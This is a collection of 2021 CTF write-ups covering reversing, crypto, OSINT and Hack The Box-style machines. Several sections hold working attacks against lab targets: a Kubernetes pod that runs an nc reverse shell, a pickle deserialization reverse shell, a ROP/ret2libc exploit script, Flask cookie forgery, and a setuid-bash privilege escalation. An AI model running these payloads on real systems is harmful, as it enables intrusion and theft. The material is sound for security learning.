# UIUCTF 2021 - Tedious Writeup* Type - Reverse Engineering* Name - Tedious* Points - 50 ## Description```Enter the flag and the program will tell you if it is correct! author: Chief [challenge]``` ## WriteupOkay I'm going to be straight up and say - I suck at reverse engineering. I know this was a basic challenge, but it took me a hot second and I didn't even fully reverse it. So this was quite the train wreck, but this is what I did, and it worked! The first thing I did with the challenge binary I downloaded was put it in Ghidra, navigate to the main function, and export the assembly into decompiled C code. This is how I got manglePassword.c. However, Ghidra isn't perfect at reverse engineering, so it still requires a lot of work going through the code and making it readable. I started going through the code, replacing `undefined4` with int, while loops with for loops, and so forth until I felt like I understood what the binary was doing. ```undefined8 main(void) { // initializations long lVar1; long local_10; local_10 = *(long *)(in_FS_OFFSET + 40); //etc... removed for readability // asks for the flag and puts it into input puts("Enter the flag:"); fgets((char *)input,40,stdin); // it does a bunch of math to add and subtract integers from the character code of each letter inputted for (int i = 0; i < 39; i++) { input[i] += 0x3b ^ 0x38;//3 } for (int i = 0; i < 39; i++) { input[i] += 0x12 ^ 0xfd;//239 } // etc... other loops removed for readability // clears everything? puVar2 = &local_d8; for (int j = 20; j != 0; j--) { *puVar2 = 0; puVar2++;// = puVar2 + 1;//(bVar3 * -2) + 1; } // initializes array of values to compare it to local_d8._0_4_ = 0x4d; local_d8._4_4_ = 0xb9; local_d0 = 0x4d; local_cc = 0xb; local_c8 = 0xd4; // etc... other initializations removed for readability // tells you if you got it right or wrong for (int i = 0; i <= 38; i++) { if (i==38) { printf("GOOD JOB!"); } else if (input[i] != local_d8 + (i*4)) { printf("WRONG!! "); break; } } return 0;}``` It was taking your 38-character input, doing a bunch of XORing numbers, and adding or subtracting it from the character code. It then compared it to an array of integer values and told you if you got it right or wrong. You can see how far I got in decompiling this code in manglePassword.c (included in this folder). I went through and (TEDIOUSLY) did all the math by hand, and found it adds 2010 to each character code. This obviously put the result way out of the ASCII range in hexadecimal, so I figured once it reached the max value for the data type, it went to the minimum value and started incrementing again. At this point, the manual conversion from hex to decimal and addition/subtraction had gotten to me and I was frustrated. I decided to take a different approach - I figured that if I could fix the errors Ghidra gave me after converting the binary into C code, I could add my own print statements and have it give me the vital information. I then decompiled the binary in Ghidra into C, made some changes to take out errors, and added a print statement on line 241 (see manglePassword2.c) that printed out the decimal value for each character. I made create_array.py, which ran the binary inputting a single, unique character, and outputted the decimal value that the modified binary put out. ```{'a': 81, 'b': 106, 'c': 11, 'd': 36, 'e': 93, 'f': 102, 'g': 71, 'h': 16, 'i': 57, 'j': 50, 'k': 51, 'l': 44, 'm': 69, 'n': 14, 'o': 79, 'p': 120, 'q': 65, 'r': 90, 's': 123, 't': 84, 'u': 77, 'v': 86, 'w': 55, 'x': 64, 'y': 41, 'z': 98, 'A': 113, 'B': 10, 'C': 43, 'D': 68, 'E': 125, 'F': 6, 'G': 103, 'H': 48, 'I': 89, 'J': 82, 'K': 83, 'L': 76, 'M': 101, 'N': 46, 'O': 111, 'P': 24, 'Q': 97, 'R': 122, 'S': 27, 'T': 116, 'U': 109, 'V': 118, 'W': 87, 'X': 96, 'Y': 73, 'Z': 2, '0': 56, '1': 1, '2': 26, '3': 59, '4': 20, '5': 13, '6': 22, '7': 119, '8': 0, '9': 105, '{': 99, '}': 117, '_': 95, '-': 5, '!': 17, '@': 104, '#': 75, '$': 100, '%': 29, '^': 30, '&': 38, '*': 114, '(': 80, ')': 121}``` This array maps out each character to the value it has AFTER all the XORing and math and stuff, thereby removing the need for me to do the math manually (I wish I had thought of this earlier). I then created the answer.py file, which had the values above and an array with the flag. ```array = {'a': 81, 'b': 106, 'c': 11, 'd': 36, 'e': 93, 'f': 102, 'g': 71, 'h': 16, 'i': 57, 'j': 50, 'k': 51, 'l': 44, 'm': 69, 'n': 14, 'o': 79, 'p': 120, 'q': 65, 'r': 90, 's': 123, 't': 84, 'u': 77, 'v': 86, 'w': 55, 'x': 64, 'y': 41, 'z': 98, 'A': 113, 'B': 10, 'C': 43, 'D': 68, 'E': 125, 'F': 6, 'G': 103, 'H': 48, 'I': 89, 'J': 82, 'K': 83, 'L': 76, 'M': 101, 'N': 46, 'O': 111, 'P': 24, 'Q': 97, 'R': 122, 'S': 27, 'T': 116, 'U': 109, 'V': 118, 'W': 87, 'X': 96, 'Y': 73, 'Z': 2, '0': 56, '1': 1, '2': 26, '3': 59, '4': 20, '5': 13, '6': 22, '7': 119, '8': 0, '9': 105, '{': 99, '}': 117, '_': 95, '-': 5, '!': 17, '@': 104, '#': 75, '$': 100, '%': 29, '^': 30, '&': 38, '*': 114, '(': 80, ')': 121} answer = [77, 57, 77, 11, 84, 102, 99, 41, 56, 77, 95, 102, 56, 77, 14, 68, 95, 84, 20, 59, 95, 102, 44, 20, 71, 95, 55, 56, 55, 95, 71, 77, 36, 95, 50, 56, 106, 117, 18] for letter in answer: for value in array: if array[value] == letter: print(value, end="") print()``` It simply loops through the values in the answer variable, then sees which letter it matches up with and prints it out. When you run answer.py, it prints out the flag! **Flag:** `uiuctf{y0u_f0unD_t43_fl4g_w0w_gud_j0b}` ## Real-World ApplicationAs a beginner in reverse engineering, this challenge taught me a lot. First, I learned about the difference between static and dynamic analysis - what I attempted at the beginning was static analysis. I looked through the steps, and tried to copy it manually. Due to the tediousness of all the math, and dealing with variable types, it is possible but not desirable and it's easy to make a mistake. Dynamic analysis was much easier; I'm still learning about dynamic analysis, but having the program do all the work and just peeking in on the important stuff was much better. For anyone starting to get into reverse engineering, there's a lot to tackle! I recommend you spend time learning to do dynamic analysis because it can make the task of reverse engineering seem less intimidating.
## Kube ```bash$ nmap -sS -sV -Pn -p- -T5 -n 10.129.173.189 Nmap scan report for 10.129.173.189Host is up (0.023s latency).Not shown: 65528 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)2379/tcp open ssl/etcd-client?2380/tcp open ssl/etcd-server?8443/tcp open ssl/https-alt10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)``` After trying a bit to communicate with the available Kubernetes endpoints, we noticed we could list the namespaces anonymously: ```bash$ curl "https://10.129.95.171:8443/api/v1/namespaces/" -sk | jq . { "kind": "NamespaceList", "apiVersion": "v1", "metadata": { "resourceVersion": "113619" }, "items": [ { "metadata": { "name": "default", "uid": "1fe7d596-bcca-4f7a-ae82-3ea58781b9a6", "resourceVersion": "210", "creationTimestamp": "2021-07-19T19:06:43Z", "labels": { "kubernetes.io/metadata.name": "default" }, "managedFields": [ { "manager": "kube-apiserver", "operation": "Update", "apiVersion": "v1", "time": "2021-07-19T19:06:43Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:labels": { ".": {}, "f:kubernetes.io/metadata.name": {} } } } } ] }, "spec": { "finalizers": [ "kubernetes" ] }, "status": { "phase": "Active" } }, [..]}``` We tried to use the `kubectl` CLI but it was not working properly as it seemed only a specific scope was allowed anonymously on the Kubernetes REST API. We next requested more information about the running namespaces and pods. Finally, we noticed some pods were running with a mount point set to the host's filesystem: ```bash$ curl "https://10.129.95.171:8443/api/v1/namespaces/kube-system/pods" -sk | jq ".items[0].spec"{ "volumes": [ { "name": "mount-root-into-mnt", "hostPath": { "path": "/", "type": "" } }, { "name": "kube-api-access-mss4g", "projected": { "sources": [ [...] ], "defaultMode": 420 } } ], "containers": [ { "name": "alpine", "image": "alpine", "command": [ "tail" ], "args": [ "-f", "/dev/null" ], "resources": {}, "volumeMounts": [ { "name": "mount-root-into-mnt", "mountPath": "/root" }, { "name": "kube-api-access-mss4g", "readOnly": true, "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount" } ], "terminationMessagePath": "/dev/termination-log", "terminationMessagePolicy": "File", "imagePullPolicy": "Always" } ], [...]}``` We also noticed we could create pods anonymously, so we deployed our own pod that also contained a mount point to the host's filesystem, was privileged, and would run a reverse shell: ```bash$ cat new_pod.json { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "alpwnd" }, "spec": { "containers": [{ "command": [ "sh" ], "args": ["-c", "mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.65 9999 > /tmp/f"], "image": "alpine", "imagePullPolicy": "IfNotPresent", "name": "alpwnd", "securityContext": { "privileged": true }, "volumeMounts": [{ "name": "mount-root-into-mnt", "mountPath": "/mnt", "readOnly": false }], "terminationMessagePath": "/dev/termination-log", "terminationMessagePolicy": "File" }], "volumes": [{ "name": "mount-root-into-mnt", "hostPath": { "path": "/", "type": "" } }] }} $ curl -kI -H "Content-Type: application/json" https://10.129.95.171:8443/api/v1/namespaces/default/pods -d@new_pod.json < HTTP/2 201 [...]< cache-control: no-cache, private< content-type: application/json< content-length: 3848< { "kind": "Pod", "apiVersion": "v1", "metadata": { [...] }, "spec": { [...] ], "containers": [ { "name": "alpwnd", "image": "alpine", "command": [ "sh" ], "args": [ "-c", "mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2\u003e\u00261 | nc 10.10.14.65 9999 \u003e /tmp/f" ], "resources": { }, "volumeMounts": [ { "name": "mount-root-into-mnt", "mountPath": "/mnt" }, { "name": "kube-api-access-kz7pt", "readOnly": true, "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount" } ], "terminationMessagePath": "/dev/termination-log", "terminationMessagePolicy": "File", "imagePullPolicy": "IfNotPresent", "securityContext": { "privileged": true } } ], [...]* Connection #0 to host 10.129.95.171 left intact}``` Once the pod was deployed, we received a connect-back from the reverse shell: ```bash$ nc -nlvp 9999 listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.95.171] 36179/bin/sh: can't access tty; job control turned off/ # cat /mnt/root/flag.txtHTB{5y573m:4N0nYM0u5}```
Reassemble GIF frames to recreate the QR Code -> [Full Writeup](http://dropn0w.medium.com/scanner-cybrics-ctf-2021-860787f0726c) ( https://dropn0w.medium.com/scanner-cybrics-ctf-2021-860787f0726c )
Speedrun was a nth variation of aeg type challenge, automatic exploit generation.. the exploit only call a gets fonction for input, on stack, and the stack buffer's size for the gets changes at each generation of the executable... we just made a pwntools program that decode the base64 program, read the stack buffer size from the binary, (a sub rsp,offset) instruction then a simple puts(got entry) to get a libc leak, calculate libc base, and a gets, to write back a onegadget entry on another got entry (setvbuf) then we call onegadget ..and that's all ahh yes, I did a first run to identify the remote libc, which was: libc6_2.28-10_amd64.so that's all.. ![](https://imgur.com/9YkF6iN.png) ```python#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *import base64 host = args.HOST or 'chal.imaginaryctf.org'port = int(args.PORT or 42020) io = connect(host,port) # we receive the base64 encoded fileio.recvuntil('DATA---------------------------\n', drop=True)encoded = io.recvuntil('----------------------------END DATA----------------------------', drop=True)decoded = base64.b64decode(encoded) # write it to a temporary filef = open('pipo.bin', 'wb')f.write(decoded)f.close() exe = ELF('pipo.bin')libc = ELF('./libc.so.6') def one_gadget(filename, base_addr=0): return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')] rop = ROP(exe) # we read the stack frame size from the binary (could be a 32bit or 8bit displacement) sub rsp,offsettemp = u8(exe.read(0x401147, 1))if (temp == 0x81): size = u32(exe.read(0x401149, 4))else: size = u8(exe.read(0x401149, 1)) print('stack size: '+str(size)+' ('+hex(size)+')') # buffer on bssbuff = exe.bss(0xa00) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]gadget_ret = rop.find_gadget(['ret'])[0] # we dump puts got entry to leak libc address then with gets, we write back a onegadget address in setvbuf got entry, then call the onegadgetpayload = 'A'*size+p64(0xdeadbeef)+p64(pop_rdi)+p64(exe.got['puts'])+p64(exe.symbols['puts'])+p64(pop_rdi)+p64(exe.got['setvbuf'])+p64(exe.symbols['gets'])+p64(exe.symbols['setvbuf']) io.sendline(payload)io.recvuntil('Thanks!\n', drop=True) # we recevie our libc leak addressleak = u64( io.recvuntil('\n',drop=True).ljust(8,b'\x00'))print('leak = '+hex(leak))libc.address = leak - libc.symbols['puts']print('libc base = '+hex(libc.address)) # send the one gadget addressonegadgets = one_gadget('libc.so.6', libc.address)io.sendline(p64(onegadgets[1])) io.sendline('id;cat flag*') io.interactive()``` *nobodyisnobody still pwning things*
[Link to original writeup](https://github.com/babaiserror/ctf/tree/main/%5B210723-27%5D%20ImaginaryCTF%202021/It's%20Not%20Pwn%2C%20I%20Swear!) The key thing is to realize that the `__stack_chk_failed` in `vuln` is not the actual `__stack_chk_failed` that is called when the canary is overwritten. Reversing that function, and with some modular arithmetic we can get our desired input that will make the binary spit out the flag.
On GitHub, simply search "Charlie Chaplin" and click the Users tab. There you will easily find the account we are looking for. The title of the challenge makes a reference to a "PR nightmare" and "leaked code", indicating to us to look into the GitHub repositories. In the C3D-Official repository, visit the Issues tab and you will notice that 1 issue is closed. Visit that issue and in the description you will find the flag: `uiuctf{th3_TrUe_pR_N1gHtm@r3}`
## Supply ```bash$ nmap -sS -sV -Pn -p- -T5 -n 10.129.173.190 Nmap scan report for 10.129.173.190Host is up (0.022s latency).Not shown: 65533 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel``` For this challenge, we were presented a login page, and a feature to sign in as guest on the web application: ![Login page](../img/supply_1.png) By browsing to the home page of the web application, we noticed some assets were not loading as it was using a custom domain name: ```bash$ curl http://10.129.173.190/ -s | grep 's3.' -C3 <title>Project Management Portal</title> <link rel='stylesheet' href='http://s3.supply.htb/assets/css/bootstrap.min.css'> <script src="http://s3.supply.htb/assets/js/stopExecutionOnTimeout-8216c69d01441f36c0ea791ae2d4469f0f8ff5326f00ae2d00e4bb7d20e24edb.js"></script><style>body { background-color: black;``` We checked what was hosted on the same machine but for the assets' virtual host `s3.supply.htb`: ```bash$ curl http://10.129.173.190 -H "Host: s3.supply.htb" -v* Trying 10.129.173.190:80...* Connected to 10.129.173.190 (10.129.173.190) port 80 (#0)> GET / HTTP/1.1> Host: s3.supply.htb> User-Agent: curl/7.74.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 404 < Server: hypercorn-h11< content-type: text/html; charset=utf-8< content-length: 21[...]< * Connection #0 to host 10.129.173.190 left intact{"status": "running"}``` We saw it was a self-hosted AWS platform as it was for the Cloud challenge `Theta`. We then listed all the enabled features: ```bash$ curl http://10.129.173.190/health -H "Host: s3.supply.htb" -v* Trying 10.129.173.190:80...* Connected to 10.129.173.190 (10.129.173.190) port 80 (#0)> GET /health HTTP/1.1> Host: s3.supply.htb> User-Agent: curl/7.74.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 200 < Server: hypercorn-h11[...]< * Connection #0 to host 10.129.173.190 left intact{"services": {"s3": "running"}, "features": {"persistence": "initialized", "initScripts": "initialized"}}``` We then checked if an anonymous access was granted to the `s3` bucket: To do so, we added a line to our `/etc/hosts` file for the virtual host `s3.supply.htb` and we used the `AWS` cli: ```bash$ aws configure AWS Access Key ID [None]: aAWS Secret Access Key [None]: aDefault region name [None]: aDefault output format [None]: json $ aws s3 --endpoint-url http://s3.supply.htb ls 2021-07-26 23:47:41 assets``` Once we noticed we could list the hosted files, we downloaded all the files by using the `sync` command: ```bash$ aws s3 --endpoint-url http://s3.supply.htb sync s3://assets .download: s3://assets/js/stopExecutionOnTimeout-8216c69d01441f36c0ea791ae2d4469f0f8ff5326f00ae2d00e4bb7d20e24edb.js to js/stopExecutionOnTimeout-8216c69d01441f36c0ea791ae2d4469f0f8ff5326f00ae2d00e4bb7d20e24edb.jsdownload: s3://assets/vendor/autoload.php to vendor/autoload.php [...]download: s3://assets/vendor/composer/platform_check.php to vendor/composer/platform_check.phpdownload: s3://assets/vendor/composer/autoload_psr4.php to vendor/composer/autoload_psr4.phpdownload: s3://assets/css/bootstrap.min.css to css/bootstrap.min.css download: s3://assets/vendor/composer/autoload_static.php to vendor/composer/autoload_static.phpdownload: s3://assets/vendor/composer/installed.json to vendor/composer/installed.json[...]``` Apart from the web assets (minified css and javascript files), we saw nothing that was used by the web application. By playing a bit with the login feature of the web application, we noticed a new folder was created on the bucket and that sessions were stored on the `s3` bucket: ```bash$ aws s3 --endpoint-url http://s3.supply.htb ls assets/ PRE css/ PRE js/ PRE sessions/ PRE vendor/ $ aws s3 --endpoint-url http://s3.supply.htb sync s3://assets .download: s3://assets/sessions/c32d3081-d9ee-4c0b-9f05-fe402cbf1138 to sessions/c32d3081-d9ee-4c0b-9f05-fe402cbf1138``` ```bash$ xxd c32d3081-d9ee-4c0b-9f05-fe402cbf113800000000: 8004 9525 0000 0000 0000 007d 9428 8c08 ...%.......}.(..00000010: 7573 6572 6e61 6d65 948c 0567 7565 7374 username...guest00000020: 948c 0870 6173 7377 6f72 6494 6802 752e ...password.h.u.``` The sessions content looked-like serialized data. We then tried to decode them using [pickletools](https://docs.python.org/3/library/pickletools.html): ```bash$ python3 -m pickletools c32d3081-d9ee-4c0b-9f05-fe402cbf1138 0: \x80 PROTO 4 2: \x95 FRAME 37 11: } EMPTY_DICT 12: \x94 MEMOIZE (as 0) 13: ( MARK 14: \x8c SHORT_BINUNICODE 'username' 24: \x94 MEMOIZE (as 1) 25: \x8c SHORT_BINUNICODE 'guest' 32: \x94 MEMOIZE (as 2) 33: \x8c SHORT_BINUNICODE 'password' 43: \x94 MEMOIZE (as 3) 44: h BINGET 2 46: u SETITEMS (MARK at 13) 47: . STOPhighest protocol among opcodes = 4``` From there, we replaced the serialized data with a reduced function that would execute a reverse shell during the deserialization process: ```bash$ cat forge_session.py import pickleimport base64import os class RevShell: def __reduce__(self): cmd = ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.65", 9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")') return exec, (cmd,) if __name__ == '__main__': pickled = pickle.dump(RevShell(), protocol=2, file=open('fd9db610-e957-4a8e-a877-a1bae508805c', 'wb'))``` Then, we uploaded the new session file to the bucket: ```bash$ python3 forge_session.py $ aws s3 --endpoint-url http://s3.supply.htb cp fd9db610-e957-4a8e-a877-a1bae508805c s3://assets/sessions/fd9db610-e957-4a8e-a877-a1bae508805cupload: ./fd9db610-e957-4a8e-a877-a1bae508805c to s3://assets/sessions/fd9db610-e957-4a8e-a877-a1bae508805c``` Finally, we triggered the Python deserialize code by requesting the `/home` page of the web application and by specifying our malicious session id: ```bashGET /home HTTP/1.1Host: 10.129.173.190Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: session=fd9db610-e957-4a8e-a877-a1bae508805cUpgrade-Insecure-Requests: 1Cache-Control: max-age=0 HTTP/1.1 302 FOUNDServer: Apache/2.4.41 (Ubuntu)Content-Length: 208Location: http://10.129.173.190/Connection: closeContent-Type: text/html; charset=utf-8 <title>Redirecting...</title><h1>Redirecting...</h1>You should be redirected automatically to target URL: /. If not click the link.``` Once the session was deserialized, we received a connect-back from the Python reverse shell: ```bash$ nc -nlvp 9999listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.173.190] 38980www-data@supply:/$ id iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@supply:/$ cat /opt/flag.txtcat /opt/flag.txtHTB{0p3n_aws_s3ssion_f1l3_st0rag3==rc3_pwn4g3}``` You should be redirected automatically to target URL: /. If not click the link.``` Once the session was deserialized, we received a connect-back from the Python reverse shell: ```bash$ nc -nlvp 9999listening on [any] 9999 ...connect to [10.10.14.65] from (UNKNOWN) [10.129.173.190] 38980www-data@supply:/$ id iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@supply:/$ cat /opt/flag.txtcat /opt/flag.txtHTB{0p3n_aws_s3ssion_f1l3_st0rag3==rc3_pwn4g3}```
One writeup, 5 challenges:[Original Link](http://dropn0w.medium.com/forensics-challenges-cyberthreatforce-ctf-2021-9e16e609635b) (https://dropn0w.medium.com/forensics-challenges-cyberthreatforce-ctf-2021-9e16e609635b)
# Farm - cryptoCTF 2021 - Category: Crypto- Points: 41- Solves: 149- Solved by: drw0if ## Description Explore the Farm very carefully! ## Solution In this challenge we were given two text files:- farm.py: a sagemath script that generates a key and encrypts the flag- enc.txt: the encrypted flag yelds by the previous script First thing first: we are dealing with `Galois finite field` since the scripts creates this global object:```pythonF = list(GF(64))``` Let's see the key generation:```pythondef keygen(l): key = [F[randint(1, 63)] for _ in range(l)] key = math.prod(key) # Optimization the key length :D return key``` At the end of the function we are given a single value in `GF(64)` but this field has only 64 values so we can brute-force the key. We have to inverse the encryption function and we can go:```python for c in enc: x = ALPHABET.index(c) # c = ALHPABET[x] y = F[x] # x = F.index(y) z = farmtomap(y/pkey) # y = pkey * maptofarm(z) m += z``` At the end the flag was:```CCTF{EnCrYp7I0n_4nD_5u8STitUtIn9_iN_Fi3Ld!}```
# Flow```# nmap -sCV -p- flow.htbNmap scan report for flow.htb (10.129.172.173)Host is up (0.082s latency).Scanned at 2021-07-24 02:37:27 CEST for 341sNot shown: 65532 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)8000/tcp open http Gunicorn 20.0.4| http-methods: |_ Supported Methods: GET OPTIONS HEAD|_http-server-header: gunicorn/20.0.4| http-title: Airflow|_Requested resource was http://flow.htb:8000/login/?next=http%3A%2F%2Fflow.htb%3A8000%2Fhome8080/tcp open http Jetty 9.4.39.v20210325|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1| http-robots.txt: 1 disallowed entry |_/|_http-server-header: Jetty(9.4.39.v20210325)|_http-title: Site doesn't have a title (text/html;charset=utf-8).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel``` ### User flag On port 8080 the web server is hosting a Jenkins. Unfortunately default credentials doesn't work. On port an Airflow application is also prompting us for credentials. ![Airflow login](../img/login_airflow.png "Airflow login") When trying to connect on this interface we noticed the web server assigned us a flask cookie. We tried to bruteforce the cookie secret key using [flask-unsign](https://pypi.org/project/flask-unsign/) and it was successful: ```$ flask-unsign -c '.eJx9kEFPwzAMhf9KlXO1toOOphLijAQSJy5oqtzUSSO8pEo8yjTx3zEgcYKdEr9879nOWQ2WIM-YVf9yVgXLoVZIwQenSnUf3oD8VFB0PmyKJ0LIWHA6FeBAFLX_2JcSkTDPqrdAGaVcMB0gYJAwTkdRTE524PiKQfXKbnUzoumaG41oNWzbdjd2ur3qtFwb3TTmGo3ZSfsJ3JAZ-JgH64kxiR2I5IWiAUIpJbJUCzgcZp85ptPXAjPz0leVpbhuZh77rq7rSnaoSJjq7ht_iO4xTkjPHtfbWkL-NL2bePhx_UcsMdJlwsQQ0LCP4TL3O6D86id-9oYb.YP87aA.XhCS-DqQkiEOiZKSHxJVb0RTYvY' -w all.txt -u[*] Session decodes to: {'_flashes': [('warning', 'Invalid login. Please try again.')], '_fresh': False, '_permanent': True, 'csrf_token': 'f291bec8179eef9a2556b8953892551911c4ecc6', 'dag_status_filter': 'all', 'locale': 'en', 'page_history': ['http://flow.htb:8000/log/list/?page_LogModelView=0', 'http://flow.htb:8000/xcom/list/', 'http://flow.htb:8000/pool/list/', 'http://flow.htb:8000/connection/list/', 'http://flow.htb:8000/log/list/']}[*] Starting brute-forcer with 8 threads..[*] Attempted (9600): (H`_key=2499d4a4f8ad842fb5ed41[+] Found secret key after 36096 attempt'temporary_key'```When analyzing the front page source code we can see the Flask-AppBuilder is used:``` <link rel="stylesheet" type="text/css" href="/static/css/flash.css"> ```By digging in this repository we were looking for the user session management. requirements.txt file shows the flask-login library: https://github.com/dpgaspar/Flask-AppBuilder/blob/master/requirements.txt#L17. By overlooking at flask-login cookie's attributes we saw the field `user_id` was used to identify users: https://github.com/maxcountryman/flask-login/blob/0.4.1/flask_login/login_manager.py#L311. We forged our own flask cookie with the following python code: ```python#!/usr/bin/env python3 from itsdangerous import URLSafeTimedSerializer, TimestampSignerfrom flask_unsign.helpers import LegacyTimestampSignerfrom flask.json.tag import TaggedJSONSerializerimport hashlibimport requests def sign(value: dict, secret: str, legacy: bool = False, salt: str = "cookie-session"): return get_serializer(secret, legacy, salt).dumps(value) def get_serializer(secret: str, legacy: bool, salt: str): if legacy: signer = LegacyTimestampSigner else: signer = TimestampSigner return URLSafeTimedSerializer( secret_key=secret, salt=salt, serializer=TaggedJSONSerializer(), signer=signer, signer_kwargs={ 'key_derivation': 'hmac', 'digest_method': hashlib.sha1}) payload = {'_fresh': False, '_permanent': True, 'csrf_token': 'f291bec8179eef9a2556b8953892551911c4ecc6', 'locale': 'en','user_id':"1"}cookie = sign(payload, "temporary_key")print(cookie)``` ```bash$ ./signer2.py .eJwNi8EOwiAQBf9lz1y2SmX5GULXR2pEahZ6avx3uc1MMhelYug7xZJrh6P0hX1yQxsUh52zaLeSxvFGo0hlEd6ggR8CFMmL9-sWxN-CTGRh1jtUV3JUD80V85mjo7PD0us5len3B_hYJJA.YP88ww.mqaoAXLqq4po1q0p66xPG8NFg8I``` By changing the cookie in our browser, we sucessfully obtain an admin session. While crawling the application we were looking for juicy information such as password. The Jenkins password was indeed in the application. It was in the Admin/Variables menu. Cleartext passwords can be obtained by exporting them: ![Getting credentials](../img/get_password.png "Getting credentials") The exported file contains the credentials:```{ "JENKINS_BUILD_PASSWORD": "sVLfGQzHyW8WM22"}``` By checking the logs in Browse/Logs menu in Airflow, we can obtained a list of user (amelia or root). The credentials root:sVLfGQzHyW8WM22 were working on the Jenkins login portal port 8080. Running a groovy script on Jenkins, we found amelia credentials. ![Amelia password](../img/amelia_password.png "Amelia password") Another groovy script can retrieve amelia credentials. These credentials can be used on SSH to get user flag.```println(hudson.util.Secret.decrypt("{AQAAABAAAAAg+HUDOG0OqnfR1ExuHUvv0Qb/0QDNMPmncSVOHYZFSJHSNn/RFDjy9MU6JdEoxgy0}"))v]C:ZZ6*pmv6jgBJ $ ssh [email protected]amelia@flow:~$ cat user.txtHTB{w4tch_0ut_th0s3_0ld_v3rs10ns}``` ### Root flag The `note.txt` in the user folder suggest to drop dags files in `/opt/dags` and they will be proceed. We also can run `sudo airflow` which will process the dags files. We noticed we could hijack a python library, here `os`.We just need to submit a dag file with a valid syntax, this can be found on the following [tutorial](https://www.invivoo.com/en/creating-your-first-apache-airflow-dag/). ```amelia@flow:/opt/dags$ cat payload.pyimport osos.system("chmod +s /bin/bash") from airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom airflow.utils.dates import days_ago default_args = { 'owner': 'airflow', 'start_date': days_ago(5), 'email': ['airflow@my_first_dag.com'], 'email_on_failure': False, 'email_on_retry': False, 'retries': 1, 'retry_delay': timedelta(minutes=5),} my_first_dag = DAG( 'first_dag', default_args=default_args, description='Our first DAG', schedule_interval=timedelta(days=1),) amelia@flow:/opt/dags$ sudo airflow backfill payload -s 2020-03-01 -e 2022-03-05[2021-07-26 23:17:03,177] {__init__.py:50} INFO - Using executor SequentialExecutor[2021-07-26 23:17:03,177] {dagbag.py:417} INFO - Filling up the DagBag from /root/airflow/dags[2021-07-26 23:17:03,184] {dagbag.py:259} ERROR - Failed to import: /root/airflow/dags/payload.pyTraceback (most recent call last): File "/usr/local/lib/python3.8/dist-packages/airflow/models/dagbag.py", line 256, in process_file m = imp.load_source(mod_name, filepath) File "/usr/lib/python3.8/imp.py", line 171, in load_source module = _load(spec) File "<frozen importlib._bootstrap>", line 702, in _load File "<frozen importlib._bootstrap>", line 671, in _load_unlocked File "<frozen importlib._bootstrap_external>", line 783, in exec_module File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed File "/root/airflow/dags/payload.py", line 16, in <module> 'retry_delay': timedelta(minutes=5),NameError: name 'timedelta' is not definedTraceback (most recent call last): File "/usr/local/bin/airflow", line 37, in <module> args.func(args) File "/usr/local/lib/python3.8/dist-packages/airflow/utils/cli.py", line 80, in wrapper return f(*args, **kwargs) File "/usr/local/lib/python3.8/dist-packages/airflow/bin/cli.py", line 188, in backfill dag = dag or get_dag(args) File "/usr/local/lib/python3.8/dist-packages/airflow/bin/cli.py", line 163, in get_dag raise AirflowException(airflow.exceptions.AirflowException: dag_id could not be found: payload. Either the dag did not exist or it failed to parse. amelia@flow:/opt/dags$ ls -la /bin/bash-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bashamelia@flow:/opt/dags$ bash -pbash-5.0# cat /root/root.txtHTB{d0nt_run_4rb1tr4ry_d4gs}```
